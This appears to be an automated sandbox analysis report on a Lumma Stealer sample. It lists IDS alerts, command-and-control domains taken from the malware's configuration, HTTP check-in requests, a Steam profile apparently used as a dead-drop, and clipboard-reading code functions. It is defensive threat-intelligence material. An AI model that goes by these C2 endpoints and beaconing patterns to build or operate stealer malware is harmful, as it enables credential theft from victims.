Source: Network traffic	Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.6:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.6:49714 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.6:49718 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.6:49717 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.6:59886 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.6:50739 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.6:49715 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.6:65346 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.6:55477 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.6:65127 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.6:49716 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.6:49710 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.6:58108 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49717 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49710 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49717 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49714 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49714 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49716 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49716 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49720 -> 172.67.189.2:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49718 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49720 -> 172.67.189.2:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49718 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49715 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49715 -> 172.67.162.108:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: lootebarrkeyn.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop
Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: reinforcenh.shop

Source: Joe Sandbox View	IP Address: 104.21.4.136 104.21.4.136
Source: Joe Sandbox View	IP Address: 172.67.189.2 172.67.189.2
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: performenj.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: lootebarrkeyn.shop
Source: global traffic	DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic	DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic	DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic	DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic	DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic	DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic	DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic	DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: performenj.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop

Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e199731
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.c
Source: RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTS
Source: RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=B0lGn8MokmdT&l=e
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=gC
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamaoE
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drawzhotdog.shop/
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fragnantbui.shop/api
Source: RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ghostreedmnu.shop/
Source: RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ghostreedmnu.shop/api
Source: RegAsm.exe, 00000003.00000002.2239685477.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/api
Source: RegAsm.exe, 00000003.00000002.2239685477.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/apiO
Source: RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://offensivedzvju.shop/
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://offensivedzvju.shop/W
Source: RegAsm.exe, 00000003.00000002.2239685477.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/6&
Source: RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/api
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/apit
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/pi
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/d&
Source: RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2239685477.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/N
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/&-7
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/api
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/apiJ
Source: RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vozmeatillu.shop/
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vozmeatillu.shop/api

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.2:443 -> 192.168.2.6:49720 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00439000 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00439000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00439000 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00439000

System Summary

.NET source code contains very large array initializations

Source: 3ZD5tEC5DH.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 364544

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00410480	3_2_00410480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00447600	3_2_00447600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040FEBC	3_2_0040FEBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044004B	3_2_0044004B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401000	3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044B020	3_2_0044B020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004450E0	3_2_004450E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004340F5	3_2_004340F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004091F0	3_2_004091F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004012A7	3_2_004012A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042A345	3_2_0042A345
